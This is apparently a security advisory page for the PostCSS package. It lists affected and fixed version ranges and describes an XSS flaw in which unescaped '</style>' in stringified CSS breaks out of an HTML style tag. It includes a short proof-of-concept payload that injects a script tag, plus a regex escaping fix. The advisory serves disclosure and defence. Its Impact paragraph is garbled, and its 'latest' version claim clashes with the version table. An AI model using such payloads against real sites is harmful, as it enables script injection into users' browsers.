PostCSS has XSS via Unescaped </style> in its CSS Stringify Output
Affected releases · postcss
- 8.x8.0.0 – 8.5.9Fixed in 8.5.10
- 7.x and older0.1.0 – 7.0.39No fix, no longer updated
On 8.x, the newest line:
npm install postcss@8.5.10Affected
8.0.0 – 8.5.9
113 releases
Fixed
8.5.10 – 8.5.31
22 releases, latest
Affected
7.0.0 – 7.0.39
40 releases
Affected
6.0.0 – 6.0.23
24 releases
Affected
5.0.0 – 5.2.18
44 releases
Affected
4.0.0 – 4.1.16
24 releases
Affected
3.0.0 – 3.0.7
8 releases
Affected
2.0.0 – 2.2.6
11 releases
Affected
1.0.0 – 1.1.0
2 releases
Affected
0.1.0 – 0.3.5
8 releases
Is your project affected?
Paste your package.json, or type the range you declare for postcss. It is read in your browser and sent nowhere.
What happens
PostCSS: XSS via Unescaped </style> in CSS Stringify Output
Summary
PostCSS v8.5.5 (latest) does not escape </style> sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML <style> tags, </style> in CSS values breaks out of the style context, enabling XSS.
Proof of Concept
const postcss = require('postcss');
// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;
console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executesTested output (Node.js v22, postcss v8.5.5):
Input: body { content: "</style><script>alert(1)</script><style>"; }
Output: body { content: "</style><script>alert(1)</script><style>"; }
Contains </style>: trueImpact
Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.
Suggested Fix
Escape </style in all stringified output values:
output = output.replace(/<\/(style)/gi, '<\\/$1');
Credits
Discovered and reported by Sunil Kumar (@TharVid)